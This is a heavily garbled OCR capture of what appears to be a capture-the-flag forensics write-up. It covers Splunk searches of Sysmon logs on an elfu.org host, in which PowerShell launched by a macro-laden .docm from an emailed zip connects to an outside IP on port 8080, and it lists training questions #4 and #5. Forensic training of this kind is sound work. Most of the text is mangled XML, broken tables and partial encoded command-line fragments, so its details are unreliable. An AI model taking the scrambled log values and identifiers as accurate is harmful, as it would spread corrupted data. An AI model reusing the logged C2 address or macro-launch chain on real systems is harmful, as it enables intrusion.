me=">falseEventData</data></security></td><td>8'/><eventdata>CData Name= 'ProcessId'>5864CData Name=' eIsIpv6'>falseCData Name='So ><data name="DestinationIp">144.202</data></eventdata></td><td>'RuleName'>technique_id=T1085,techr Image'>C:\Windows\System32\WindowsF urceIp'>172.16.234.169=Data .46.214=Data Name='Destinati</td><td>rique_name=Powk YowerShell\v1.€ Name"Sourcekk ionHostname'>1∢</td><td></td><td></td></computer>	Computer> <security userid="S-1-5-1
00-0010C6D50D04)</Data>CData Name=
ated">true<data destinationisipv6'="" name="Sourc
me=">falseEventData</data></security>	8'/> <eventdata>CData Name= 'ProcessId'>5864CData Name=' eIsIpv6'>falseCData Name='So ><data name="DestinationIp">144.202</data></eventdata>	'RuleName'>technique_id=T1085,techr Image'>C:\Windows\System32\WindowsF urceIp'>172.16.234.169=Data .46.214=Data Name='Destinati	rique_name=Powk YowerShell\v1.€ Name"Sourcekk ionHostname'>1∢		
Even	Field Value		Actions					
Select	ed ✓ EventCode • 3 ✓ dest_ip • 144.20	J2.46.214	`					
	✓ host ▼ sweet ✓ process_id ▼ 5864	JMS						
	process_name powe source WinEv	shell.exe entLog:Microsoft-Windows-Sysmon/4	Operational V					
Event	sourcetype XmW Computer sweet	nEventLog:Microsoft-Windows-Sysm ums.elfu.org	sn/Operational v					
	DestinationIp * 144.20	2.46.214 12.46.214						
S:18:50. PM <event cross ft -08-23 '>SWEET Name='S e*'Dest</event 	000 Windows- Symon/Operational xxil.ns"http://schemas.microsoft.cc <appcodes c="" deywordsex800<br="" pocdes="">/inidows-Symon/Operational/Char Usi/obass/codes/abata_Name"Prot CorcePort:>59454/Oata>-Obata_Name InatioProt >8000/Oata>-Data Name</appcodes>	n/win/2004/08/events/event'> <ty 000000000000/Keywords>timeCrea 0>Computers/artimecrea 01>top/0718/8-C08P-000-00 01>top/0718/8-C08P-000-00 01>top/0718-201at Name'hriti 'SaurcePortName'>Chata Na *'DestinationfortName'></ty 	Windows- SysmoniOperational tem-Provider Name" http:sosti-kind ted systemtine"2019-01-2017.11:0; Comuter>Cecurity UserT0=25-15-1 00-0010050004/Cbtats-Odats Name" Source eme "DestinationIsEped">falsec/Data EventData	ows-Sysmon' Guid" (5778385F-C22A-43 6.4477926027 />-d-ventRecordDD1641 8/>C/SystemSerentData-Otata Name- "Processito"/SEGAC/Data-Yotata Name- "science/"Selacotata-Yotata Name- Selated Yafacotata-Yotata Name- Selata Name-"Destination[p">144.282	D0-BF4C-06F5559FFB03)'/> <dventid>3 S/EventHecondID=Carrelation/~Car SilventhecondID=Carrelation/~Car Silventar=Silventionar, Silventar=Silventionar Silventar=Si</dventid>	r/EventID=VVer puulio Frocess VaerSHellVV.1 NaerSellVV.1 NaerStante-Sho		
Type	Field Value		Actions					
Selecti	ed ✓ EventCode * 3	2.46.214	~					
	✓ host * sweet ✓ process_id * 5864 ✓ process_id * 5964	ans						
	✓ source • WinEv ✓ sourcetype • Xm/W	entLog Microsoft-Windows-Sysmon/C inEventLog Microsoft-Windows-Sysm	Operational v					
Event	Computer • sweet	ums.elfu.org v2.46.214.vultr.com	~					
	Destinationip • 144.20 Destinationisipv6 • faise	2.46.214						
	DestinationPort * 8080 EventChannel * Micro	oft-Windows-Sysmon/Operational	• •					
	EventDescription • Network EventID • 3	nk Connect						
	Initiated + Inue Keywords + 0x800		~ ~ ~					
	Level 4 Opcode 0		~ ~					
	Descrateficial • IEBET	196 CEEB ENDE ONN NUNCEDEN	100H					
Answ	ver: <mark>144.202</mark>	<mark>46.214.vult</mark>	<mark>.r.com</mark>	2				
Res	Sults		0	×				
to Local				Close				
	10		P4					
		ch.		MA.				

Training Question #4:

What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000 Search:

- sweetums
- Event of interest contained this attachment in Outlook for this zip file: C:\Users\cbanas\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\JA3MHHCH\Buttercups_HOL40 4_assignment (002).zip
- Unzipping this zip contained a .docm file inside that had malicious macro with PowerShell

8/25/19	00	WinEventLog:Micro Windows-	son- 11	C:\Users\cbanas\AppData\Loci \Windows\iNetCache\Content/	al Microsoft Outlook	sweetums Xm/WinE Windows	entLog:Microsoft-	c	OUTLOOK.EXE		
PM		Sysmon/Operation	N.	UA3MHHCH/Buttercups_HOL- (002).zip	404_assignment	Sysmon/	Operational				
<event td="" x<=""><td>nlns</td><td>='http://schemas.mi</td><td>crosoft.com/win/2004/0</td><td>8/events/event'><system>@ro</system></td><td>wider Name='Mic</td><td>rosoft-Windows-Sysmon' G</td><td>uid='(5770385F-C22A-43E</td><td>0-BF4C-06F5693FFE</td><td>09)'/><eventid>11</eventid></td><td><ver< td=""><td></td></ver<></td></event>	nlns	='http://schemas.mi	crosoft.com/win/2004/0	8/events/event'> <system>@ro</system>	wider Name='Mic	rosoft-Windows-Sysmon' G	uid='(5770385F-C22A-43E	0-BF4C-06F5693FFE	09)'/> <eventid>11</eventid>	<ver< td=""><td></td></ver<>	
r> <securi< td=""><td>ity I</td><td>08<timec UserID='S-1-5-18'/2</timec </td><td><pre>%reated SystemTime='201 %/System%EventData%D</pre></td><td>9-08-25T17:18:00.1591814002' ata Name='RuleName'><</td><td>/><eventrecordi Data Name='UtcT</eventrecordi </td><td>D>164269 ime'>2019-08-25 17:18:00</td><td>Correlation/><executio 104CData Name="</executio </td><td>n ProcessID='3553 ProcessGuid'>(EBF</td><td>' ThreadID+'788'/ 7A186-A700-5006-0</td><td><pre>/><channel>Mics 0000-0010225595</channel></pre></td><td></td></securi<>	ity I	08 <timec UserID='S-1-5-18'/2</timec 	<pre>%reated SystemTime='201 %/System%EventData%D</pre>	9-08-25T17:18:00.1591814002' ata Name='RuleName'><	/> <eventrecordi Data Name='UtcT</eventrecordi 	D>164269 ime'>2019-08-25 17:18:00	Correlation/> <executio 104CData Name="</executio 	n ProcessID='3553 ProcessGuid'>(EBF	' ThreadID+'788'/ 7A186-A700-5006-0	<pre>/><channel>Mics 0000-0010225595</channel></pre>	
(x86)\Mi a> <td>tDat</td> <td>oft Office\root\Off a></td> <td>ice16\OUTLOOK.EXE<td>a><data name="TargetFilename</td><td>">C:\Users\cban</data></td><td>as\AppOata\Local\Microso</td><td>ft\Windows\INetCache\Co</td><td>ntent.Outlook\JA3</td><td>MHHCH\Buttercups_</td><td>HOL404_assignr</td><td></td></td>	tDat	oft Office\root\Off a>	ice16\OUTLOOK.EXE <td>a><data name="TargetFilename</td><td>">C:\Users\cban</data></td> <td>as\AppOata\Local\Microso</td> <td>ft\Windows\INetCache\Co</td> <td>ntent.Outlook\JA3</td> <td>MHHCH\Buttercups_</td> <td>HOL404_assignr</td> <td></td>	a> <data name="TargetFilename</td><td>">C:\Users\cban</data>	as\AppOata\Local\Microso	ft\Windows\INetCache\Co	ntent.Outlook\JA3	MHHCH\Buttercups_	HOL404_assignr		
Event 4	Actio	ins •									
Туре	1	Field	Value					Actions			
Selected	2	EventCode *	n					~			
	1	Targetfilename *	C:/Users/cbanas/AppDat	alLocal/Microsoft/Windows/INet	Cache/Content.O	utiooKJA3MHHCH/Buttero	ps_HOL404_assignment	(002).zip 🗸			
	~	process_id •	5860					~			
	1	process_name •	OUTLOOK.EXE					*			
	1	source •	WinEventLogMicrosoft-V	Vindows-Sysmon/Operational	-			*			
Event		Computer *	sweetums.effu.org					~			
		CreationUtcTime •	2019-08-25 17:18:00.104					~			
		EventOnannel * EventDescription *	File Created	onvoperational				~			
		EventiD *	11					~			
		Image * Keywords *	C:/Program Files (x86)/M 0x800000000000000000000000000000000000	icrosoft Office\root\Office16\OUT	TLOOK.EXE			~			
		Level •	4					~			
		Opcode • Process@viid •	0	0000.0010225595031				¥			
		Processid •	5860					~			
							Contractor				
3 8/21	5/19 1:15.0	ms-sysmon-f 000	iem00			C:\Windows \Explorer.EXE	C:\Windows \Temp\Temp1_Butterc	ups_HOL404_assi	File Cri gnment	eated	
PM							(002).zip\19th Century Assignment.docm	Holiday Cheer			
<event td="" x<=""><td>mlns</td><td>s='http://schemas.u</td><td>microsoft.com/win/2004</td><td>/08/events/event'><system></system></td><td><provider name≕<="" td=""><td>'Microsoft-Windows-Sysm</td><td>on' Guid='{5770385F-C2</td><td>2A-43E0-8F4C-05F</td><td>5698FFBD9}'/><ev< td=""><td>entID>11<td></td></td></ev<></td></provider></td></event>	mlns	s='http://schemas.u	microsoft.com/win/2004	/08/events/event'> <system></system>	<provider name≕<="" td=""><td>'Microsoft-Windows-Sysm</td><td>on' Guid='{5770385F-C2</td><td>2A-43E0-8F4C-05F</td><td>5698FFBD9}'/><ev< td=""><td>entID>11<td></td></td></ev<></td></provider>	'Microsoft-Windows-Sysm	on' Guid='{5770385F-C2	2A-43E0-8F4C-05F	5698FFBD9}'/> <ev< td=""><td>entID>11<td></td></td></ev<>	entID>11 <td></td>	
>2 <correla< td=""><td>ion></td><td>><level>4</level>< n/><execution proc<="" td=""><td>Task>11<opcode> essID='3552' ThreadID=</opcode></td><td>0<keywords>0x80000 '780'/><channel>Microsoft-Wi</channel></keywords></td><td>aaaaaaaaaaaaaaaaaaa Kindows-Sysmon/</td><td>eywords><timecreated sy<br="">Operational<c< td=""><td>stemTime='2019-08-25T1 omputer>sweetums.elfu.</td><td>7:18:15.08472650 org<5</td><td>0Z'/><eventrecor ecurity UserID='</eventrecor </td><td>dID>164283S-1-5-18'/><td></td></td></c<></timecreated></td></execution></td></correla<>	ion>	> <level>4</level> < n/> <execution proc<="" td=""><td>Task>11<opcode> essID='3552' ThreadID=</opcode></td><td>0<keywords>0x80000 '780'/><channel>Microsoft-Wi</channel></keywords></td><td>aaaaaaaaaaaaaaaaaaa Kindows-Sysmon/</td><td>eywords><timecreated sy<br="">Operational<c< td=""><td>stemTime='2019-08-25T1 omputer>sweetums.elfu.</td><td>7:18:15.08472650 org<5</td><td>0Z'/><eventrecor ecurity UserID='</eventrecor </td><td>dID>164283S-1-5-18'/><td></td></td></c<></timecreated></td></execution>	Task>11 <opcode> essID='3552' ThreadID=</opcode>	0 <keywords>0x80000 '780'/><channel>Microsoft-Wi</channel></keywords>	aaaaaaaaaaaaaaaaaaa Kindows-Sysmon/	eywords> <timecreated sy<br="">Operational<c< td=""><td>stemTime='2019-08-25T1 omputer>sweetums.elfu.</td><td>7:18:15.08472650 org<5</td><td>0Z'/><eventrecor ecurity UserID='</eventrecor </td><td>dID>164283S-1-5-18'/><td></td></td></c<></timecreated>	stemTime='2019-08-25T1 omputer>sweetums.elfu.	7:18:15.08472650 org<5	0Z'/> <eventrecor ecurity UserID='</eventrecor 	dID>164283S-1-5-18'/> <td></td>	
Data> <da< td=""><td>ta M</td><td>Name='RuleName'><td>Data><data name="UtcTi</td><td>me">2019-08-25 17:18:15.07</data></td><td>2<data n<="" td=""><td>ame='ProcessGuid'>(EBF)</td><td>A186-F97E-5DD2-0000-00</td><td>1878AA8788}<td>a><data name="Pr</td><td>ocessId">5968<</data></td><td></td></td></data></td></td></da<>	ta M	Name='RuleName'> <td>Data><data name="UtcTi</td><td>me">2019-08-25 17:18:15.07</data></td> <td>2<data n<="" td=""><td>ame='ProcessGuid'>(EBF)</td><td>A186-F97E-5DD2-0000-00</td><td>1878AA8788}<td>a><data name="Pr</td><td>ocessId">5968<</data></td><td></td></td></data></td>	Data> <data name="UtcTi</td><td>me">2019-08-25 17:18:15.07</data>	2 <data n<="" td=""><td>ame='ProcessGuid'>(EBF)</td><td>A186-F97E-5DD2-0000-00</td><td>1878AA8788}<td>a><data name="Pr</td><td>ocessId">5968<</data></td><td></td></td></data>	ame='ProcessGuid'>(EBF)	A186-F97E-5DD2-0000-00	1878AA8788} <td>a><data name="Pr</td><td>ocessId">5968<</data></td> <td></td>	a> <data name="Pr</td><td>ocessId">5968<</data>			
eationUt	cTin	me'>2019-08-25 17:	18:15.072 <td>tData></td> <td></td> <td>eeegssi</td> <td></td> <td>intery noticely</td> <td></td> <td></td> <td></td>	tData>		eeegssi		intery noticely			
Event	Actic	ons 💌									
Type	1	Field	Value				Ac	tions			
Selected	-	EventCode •	11					×			
	1	EventDescription	 File Created C'Windows/Explorer F 	XF				~			
				np1_Buttercups_HOL404_assig	gnment (002).zip	19th Century Holiday Che	er Assignment.docm	×			
	1	TargetFilename •	C:\Windows\Temp\Ten								
	/ /	TargetFilename • eventtype •	C:\Windows\Temp\Ten ms-sysmon-filemod (c	hange endpoint filesystem)				~			
Event	× ×	TargetFilename eventtype Computer Creational ItrTime	C:\Windows\Temp\Ten ms-sysmon-filemod (c sweetums.elfu.org 2019-08-25 17:18:15 02	hange endpoint filesystem)				~ ~			
Event		TargetFilename * eventtype * Computer * CreationUtcTime * EventChannel *	C:Windows/Temp/Tem ms-sysmon-filemod (c sweetums.elfu.org 2019-08-25 17:18:15.07 Microsoft-Windows-Sy	hange endpoint filesystem) 72 smon/Operational				× × ×			
Event		TargetFilename * eventtype * Computer * CreationUtcTime * EventChannel *	C/Windows/Temp/Ten ms-sysmon-filemot (c sweetums.effu.org 2019-08-25 17/815.01 Microsoft-Windows-Sy	hange endpoint filesystem } 72 smon/Operational	4	R	9	× × ×			
Event		TargetFilename * eventtype * Computer * Computer * CreationUtcTime * EventChannel * EventChannel * EventChannel *	C:WindowsTempTen ms-sysmon-filemot (c sweetums.effu.org 2019-08-25 T/8815.01 Microsoft-Windows-Sy PowerCode t Trepett	hange endpoint filesystem)	host 2 sweedums	SourceAppa 1 XmW1EkertLog Mc opoti	ComputerName 1 i proces	v v v v v v v v v v v v v v v v v v v	_Command_Line ¢		
Event		TargetFilename * eventtype * Computer * CreationUtCrime * EventChannel * EventChannel *	C:\VindowsTeempTeem ms-sysmon-filemod (c sweetums.effu.org 2019-08-25 17:18:15:07 Microsoft Windows-Sy PowerCools 3 Treport 1	hange endpoint filesystem) 2 amon/Operational	bost 2 sweedums	sourcebge 8 ZmWnEverLog Microsoft Winduw Symon Operational	ComputerName 1 process powrrd	v v v v v v v v v v v v v v v v v v v	_Command_line 5		
Event	V V 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	TargetFilename * eventype * Computer * CreationUtCrime * EventChannel * EventChannel *	C:WhodowsTempTem ms-sysmon-filemoid (c) 2019-08-25 17:815-07 Microsoft Windows Sy Ferences TompTempTempTempTempTempTempTempTempTempTe	hange endpoint filesystem) 2 smon/Operational tenese 2 seet/~course-reer	bost 3 sweedums titrosoft-Hindens- insisessionid/14(4)	Swartekype 1 XmWritkwrft og Microsoft Windruk Symon Objerstational -system * Objer Stational	Computeritaria : poces powrat ~4.156-07 K-011503 (1710)	v v v v v v v v v v v v v v v v v v v	_Command_Line 1 LD=Nersian=5c/Nersi 3384PT008974024500	60%4Leve2>44/Leve	
Event	V V V V V V S S S S S S S S S S S S S S	Target/lename * eventtype * Computer * CreationUt/Chme * Event/Channel * Writvertlog Microsoft Writvertlog Wittensoft Writvertlog Microsoft Writvertlog Wittensoft Writvertlog Wit	C:WindowsTempTer ms-symmo-Helmond (c sweetums.eflu.org 2019-08-25 17:18:50.3 Microsoft-Windows.Sy PowerCase : trayerf 1 1 C. ceenkain/286/19/sweetss (ostaindbats.neer="Loperative"	hange endpoint filesystem) 2 smon/Operational arrene s even(**tystaet/troubler *tares* youtdata=base tares*	i host 2 svecdums ticrosoft-Kindea- nalSessionid'>1-Q	Sourcelype 3 In The Source Sou	ComputerName 1 process proversi Lage-or K- are scott ready 1 Lage-or K- are scott ready 1	v v v v v v v v v v v v v v v v v v v	_CommandLine t	009-16-0422-44-76-064 1120-052000-26-76-064	
Event Sime B(25/19 538:35:000 PM Clivent and r 7A185-F977 Event Act Type	V V V V V V V V V V V V V V	Target/lename * eventtype * computer * CreationUtChme * CreationUtChme * EventChannel * Writevintog Microsoft Vincous ymmit/Denttonal ttp://benes.microsoft vincous * wite	C:WhodowsTempTen ms-systems-filemod (c sweetums-filemod) 2 019-08-25 17:815-03 Microsoft-Windows-Sy Fuenctions 1 Trajent 1 1 f. carefulorational/file/investa f. carefulorational/file/investa f. carefulorational/file/investa f. carefulorational/file/investa f. carefulorational/file/investa f. carefulorational/file/investa f. carefulorational/file/investa	2 2 amon Operational amon Operational anome 5 event hitsteen though market mark	i hori 8 swecdums tijrreseft-stindes- tablession2d*2144	Notreityje 3 Tever register Lag Microsoft Window Symmer Guide (201201-102) Symmer Guide (201201-102) Symmer Guide (201201-102)	Compatibilities () process powers ~4.24 = 0= 4; = 40 + 500 (TED) () ~4.24 = 0= 4; = 40 + 500 (TED) ()	v v v v v v v v v v v v v v v v v v v	_Command_line t tp=rotersian0sc/hersi isseerbeaasro4cc45cc	istor-Levi-)-4/Len Tactores/Levi-A/Len	
Event Stree 225-19 558:35:000 PM Event and r 7A186-7 Art Event Act Type	V V S S S S S S S S S S S S S	Target/Jename * eventlype * Computer * Creation/UETime * EventChannel * Neuros # Neu	C.Windows/TempTerr ms-system-Tellistemic (c sweetherm.effLurg) 2019-08-25 17:85:02 Microsoft Windows Sy Paendicare 1 Trapert 1 1 FL coeffLafrage/MFLveetLs (osta-rabits hase* Lagest d Nate 1 C.WadewargsternetStat	hange endpoint filesystem) 2 umon/Operational umon/Operat	t bost 5 severans ticrosoft+stades- ticrosoft+stades- ticrosoft+stades-	sourceyse 2 XerWT earling Mit could Window Symme "Guid" (2012) 11-12 State-Inter Tricker Trick State-Inter Tricker Trick	ComputerName 1 (process provers) Lage-or ex-envisormers and Lage-or e	Current Process Current Proce	_Command_Line : In-rversianpsc/hersi SisterFicesProce4scc	icontavalist fuer Taceseus status Actions	
Event	V V V V V V V V V V V V V V V V V V V	TrapeFename + eventspe + eventspe + CreatedUtCharter EventCharter + EventCharter + EventCharter + eventCharter + eventCharter + eventspectra monoclasses eventspectra eventspe	C.Windows/TempTerr ms-system-filescole (soverhamm.ellicurg) 2019-08-25 17:88:50.7 Microsoft Windows Sy Powerkans 1 Trapert 1 Fr. comfain/2016/49/reveals (Ostan-fables here="Capital Value" C.Windowsystem:22 and soverhams.ellicurg) 2014	2 2 amoni Operational amoni O	i not s svecuns tisrceaft-stades- naitessistictic) (4)	Montribys 1 Montribys 1 Montribys 1 Montribus	Computerium 1 process proved 	Cumme 1 Process International Process International Process Security Process	_Command_The f	iorin-Leve) H4/Leve Interested Actions	
Event Store Statistics Stat	V V V V V V V V V V V V V V V V V V V	Trapelferance + cerestrype + cerestrype + CreationUtLTime + EventChannel + EventChannel + WaterstrageMissisti Water WaterstrageMissisti Waterstrag	C.Windows/TempTerr ms-symmo-TempTerr weetham.etill.corg 2019-08-25 (73:315:00) Microsoft Windows-Sy 2019-08-25 (73:315:00) Microsoft Windows-Sy 1 1 C. vendorec 1 TempTerr 1 C. vendorec 2 C. vendorec	2 mon0 Operational mone operational mone = ***********************************	i bot 5 svecums furcesft-studee- inalizations/946/	Mantengue I Xinol Yeard Lag Microsoft Windows Symmet Could Partition 20 Space-State New - 114(p) 104	Санранічни і і рокет ронит Сан-а-к-назантара) Сан-а-к-назантара	Cumme 1 Process Cumme 1 Process Hitter ProcessLip 1/SventLip 1/SventLi	Commany(Line 1 Deversions/Versions/	istort.evt1+4/Len 12c2sossAc3es Actions	
Event Type Selecter		Trapelferance + consultage + Consolution + Consolution + EventChannel + EventChannel + EventChannel + energy - energy -	C:Windows/TempTerm ms-symmo-Tilemod (c voverturm.eft).org 2019-08-25 17:8815-07 Microsoft Windows Sy 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	12 Immon Operational Immon Ope	bot 3 sweetuns tiaraaft-stickes- iaabissiosd*910	Mentiope 1 2000 Centra (Jacobia Symma Constantia) Symma Constantia State-Centa Nove 1 Hogh Lyc	Conjudentinos 1 preses povers Laga-dr.eversosartabas in Laga-dr.eversosartabas in	Contra 1 Process	_Conward_Ine 8	istort.evt3+4/Lens 12025040504-2040 Actions 	
Event Stee Stee Stee Stee Stee Stee Stee St	V V V S S S S S S S S S S S S S S S S S	Tragelferance + exercitips + Composer + Composer + Composer + Composer + Exercicitance + exercitance + exercit	C:Windows/TempTerr ms-system-file.com weethers.eth.com 2.010-09-25 71:315-00 Microsoft Windows-Sy Puerfoade 1 Trayelf 1 Fuerfoade 1 Trayelf 7 Fuerfoade 1 Trayelf 7 C:Windowsupplem:State 9 State 9 Distributes 1 State 9 Distributes 1 Distributes 1 Di	hange endpoint filesystem)	toot 2 seectures filosoof (~ Hickow Instances (~ Hickow Instances (~ Hickow) day	Mercelyse 3 in the control of the co	Computerium II proven portal Las- et ec-en scort EUD / Vel Mediuer/Oscer-Bass In	Comme t Powers Comme t Powers Provention / Sector	Licenseet Live 6	istort.evv1.44/Lense 112029201954/185 405019 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	
Event turne	V V V V V V V V V V V V V V	Tragelference + eventinge + computer + computer + eventioned + eventio	C:Windows/TempTerr ms-system-filection weetham.eftb.org 2019.08.25 (7:1315.07 Microsoft Windows-Sy ParentCone 1 TempTerr 1 F.com/balances/Textures/ 7 F.com/balances/Textures/ 7 F.com/balances/Textures/ 7 F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.com/balances/ F.	12	tion on the sectors sectors tion on the students tables in states in states in states and the sector states in states in states and the sector states in states in states in states in states and the sector states in states and the states in states		Compute-Name 1 provem powers 	Control C	Commant Line 8 Enter Line X/Instal Enter Line X/Instal Enter Line X/Instal ADACT/ACAMANIJAN	ISIONLEVIC) 44/Lenix 1202500554/2005 000 000 000 000 000 000 000 000 000	
Event trime statistics trime statistics trim	V V V V S S S S S S S S S S S S S S S S	Tragelference + eventinge + Concession (Concession) Exercised (Concession) Exercised (Concession) Exercised (Concession) Exercised (Concession) • • • • • • • • • • • • • • • • • • •	C.Windows/TempTerr	2 amont Operational mont Operational mont Operational where the operational operational operational where the operational operational operational where the operational operational operational where the operational operational operational operational operational where the operational operationa	i nost s executors til crosoft + Budiens mattersterstersterster > 1 4 deng	мантеруе 1 2010 - Султан Сар Маниева Зултан Содикания Зултан Содикания 2010 - Султан Сар Маниева 2010 - Султан Сар Маниев	Computerities 1 process powers Labe areor score (DD) Labe areor score (DD) Labe areor score (DD) Labe areor score (DD) Coreor score (DD	Cumme 1 Process Lunarie 1 Process Lunarie 1 Process Lunarie 1 Process Lunarie 1 Process Lunaries DOBAGBAADAADAG	Command Line 1	anntavi)44/Lena Actors U U U U U U U U U U U U U U U U U U U	
Event	V V V V V V V V V V V V V V V V V V V	TrageEnterance + eventtype + Computer + CreationUtChine + EventChannel +	C.Windows/TempTer	tange endpoint flergeten) tange mon Operational m		Americanyo 1 Thomas and the second se				Genetary344/Lan Tactores Content Conte	
Event	V V V V V V V V V V V V V V	Tragelferance + everytipe + Creation/Little + Everytical - Everytical	C:Windows/TempTerr	targe indexisti filesystem) targe mono: Operational	International States of the St	Annual State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State St	ComputerAntine 1 proversi proved	Control 1 Process Control 1 Process NetworkLED 1/ Zwent LED 2005/AGEMA solution 2005/AGEMA solution 2005/AGEM	CommantLine 2 Enner Line XVersi Seer Carrocker Command AD-BETACAMANALA-AD Second Carro Command	Actions Actions Call Actions Call Cal	
Event		Tragelference + everthpe + compute + compute + everthpe	C:Windows/TempTerr ms-system-filection weethers.eth.com 2 0010-08-25 71 218:00 Microsoft Windows-Sy Fuencial Windows-Sy Fuenci	the second		Manana Sana Sana Sana Sana Sana Sana San		Conserve 1 Process Conserve 1 Process Hitsers Process Lib 1 / Several Process Lib 1 / Severa		Actors	
Event	V V V V V V V V V V V V V V	TrageEnergine * computer * CreationUt/Clime * EventChannel * EventChannel * creationUt/Clime * EventChannel * creationUt/Clime * eventChannel	C.Windows/TempTerr ms-system-filection weethers.eth.com 2019;0;4;2;5;7;3;1;5;0; Microsoft Windows-Sy 2019;0;4;2;5;7;3;1;5;0; Microsoft Windows-Sy 1 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7	2 month Operational month Operational month Operational memory Approx O						Interfleevid Her/Leevid Interfleevid Her/Leevid Interfleevid Her/Leevid Interfleevi	
Event	2 In 19 2 In 1	Tragelference + vertige + Computer + Creation/Artime + EventChannel + Perticular and Articles Vertical Articles Articles + end Articles + end Articles + end Articles + end Articles + end Articles + end Articles + Article	C.Windows/TempTerr	12 Tamon Operational Tamon Ope	Annual Sector Control					Serve-Loog 2.44 (Jones 12-25-2009)2-A Class A Class 	
Event		Tragelferance + eventparts - computer + Creation/Litture + EventDannel + EventDannel + EventDannel + EventDannel + EventDannel + eventparts - eventparts - event	C:Windows/TempTerr ms-system:Tellismed (c sweetham:ellismed) 2010;08:25712(8):00 Microsoft Windows-Sy Puenticide 1 Trayer 1 Foundational Trayer 1 Foundational Trayer 1 Foundational Trayer 1 Foundational Trayer 1 Foundational Trayer 1 Cited Windows Carlotter States States Sta	targe endpoint flexystem) targe mono: Operational	In Andreas Constraints of the Co	Annual State	Computerities 1 premi poversi Lake-drace-dracessorreads Lake-drace-dracessorreads Lake-drace-dracessorreads Lake-dracessorre	Control C		ann-Levid +4/Len Tachoeseo/Lea 	
Event Example Example Example Setector Event Event Event Event		TrageEnergine eventspace eventspa	C:Windows/TempTerr ms-system-filection weethers.eth.com 2 001-08-25 71 218-00 Microsoft Windows-Sy Fuencies Windows-Sy Fuencie			Marcelogue 3 La Construction Anno 1999 3 La Construction Segurar Decembra (Segurar 2017) Segurar Decem		Control of the second sec		Antons	
Event		TrageEnterance + versitippe + Consideration + Consideration + Permittenance +	C:Windows/TempTere ms-system-filescole weetherm.eth.com 2019; 0:8:257 (2018); 0:0 Metrosoft Windows-Sy 2019; 0:8:257 (2018); 0:0 Metrosoft Windows-Sy 2019; 0:8:257 (2018); 0:0 Metrosoft Windows-Sy 2 Particlescole Control (2018); 0:0 Metrosoft Windows-Sy 2 Control (2018); 0:0 Metrosoft Windows-Sy 2 Control (2018); 0:0 Metrosoft Windows-Sy 2 Metrosoft Windows-Sy 2 Me	targe indjoint flergisten) targe monit/persitenin moniterenin monit/persitenin moniterenin mon						Actions Construction	
Event Internet States Formation States Total States Formation Detection (States Formation) Detection (S		TrageEnergine * computer * CreationUtCine * Ferritoria for the second se	C.Windows/TempTerr ms-system-filecology weetherm.eftl.cog 2019-08-25 71 2018-02 Microsoft Windows-Sy Perror Strategies (Strategies (Strate	targe endpoint flergeten) composite flergeten composite		Americanya 1				Profile conditioned and condit	
Event		Trapellename + verentipe + Computer + Creation/Littler + EventChannel + VerentChannel + VerentChannel + eventChannel + eventChannel + eventChannel + verentipe + v	C:Windows/TempTere ms-system:Tellismed (c sweetham:ellismed) 2010;09:25:71:81:00 Microsoft Windows-Sy Puenticsee 1 Trapert 1 7 7 8 7 8 8 8 9 8 9 8 9 8 9 8 9 8 9 8 9	hange endpoint flersystem)		Animation of the second					
Event		TrageEnergine - eventppe - eventp	C:Windows/TempTerr ms-system:TempTerr 2 2010-02-32 71 2010 Control 2	hange endpoint flergetam)	Annual Control of Cont	Anteropy 1 Anteropy 1 Anteropy 2 Anteropy 2 Antero		Califier 1 Process Vitters Califier 1 Process Vitters Vit		Actions	
Event	V V V	TrageEnterance + computer + Company + Construction	C:Windows/TempTerr ms-sysmon-filemed (c wweetham.eft).com 2019.08.25 (71.815.00 Microsoft Windows-Sy Parenticine 1 Temper 1 C. conclusions/tempter 2 C. conclusions/tempter 2 C. conclusions/tempter 2 Status Based parenticine 2 Status Based parenticine 2 Status Based Status Bas	the second						Annu Level J-47 Alem 	
Event		Tagefreame - verritype - Creation/Lifere- EventCharnel - EventCharnel - EventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter- eventCharnel - Noter-	C:Windows/TempTere ms-system-filecologi weetherm.eftb.cog 2019-08-25 (7):315-03 Metrosoft Windows Sy Particle Cog Metrosoft Windows Sy Particl	the second		And Control of the second seco				Pro-Level 3-44 / Jan 1 c 7 sectors 	
Event		TrageEnterance - eventspare - Computer - Creation/Little - Eventschutzer - Personal - Status - Status - eventspare - eve	C:Windows/TempTer	hange endpoint flersystem)	La pod 3 sectors La pod 4 sectors La pod	An entropy of 1 An ent				Antonio Antoni	
Dvent		TrageEfferance - eventspace - e	C:Windows/TempTree	hange endpoint flergeter)	Annual Control of the	Andread and a second and and a second and and a second and a second and a second and and and and		Cardina 1 Process Cardina 1 Process Network 1 Process			
Event		TageTreame + TageTreame + Compute - Compute - Construction Construc	C:Windows/TempTerr	hange endpoint flergeten) 2 unon:Operational men: 0 men: 0						Antonia and a second and a seco	
Event		Tagefferance - compare - Creation/Lifere - Ferrification - Ferrification - errification - erification - erifica	C:Windows/TempTer	hange endpoint flergeten) 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2		And Control of the second seco				Pro-Level 3-44 / Jan 1 - C 2000005 / 44 / Jan 	
Event	<pre>v v v v v v v v v v v v v v v v v v v v</pre>	Tagetfreame + compute - compute - compute - compute - eventople - eventople - teres - eventople - even	C:Windows/TempTree	hange endpoint flersystem) 2 2 2 2 2 2 2 2 2 2 2 2 2	And a second sec	Anteriore 1 Anteriore 1 Anter					
Event		Tagetfreame + compute - compute - compute - constructure - eventings - constructure - constructure - evention - evention - constructure - con	C:Windows/TempTree	hange endpoint flergeten)	And a second and a	And and a second					

Training Question #5:

How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

Search Range: 8/25/2019 17:18:00.000 - 8/25/2019 17:31:00.000 Search:

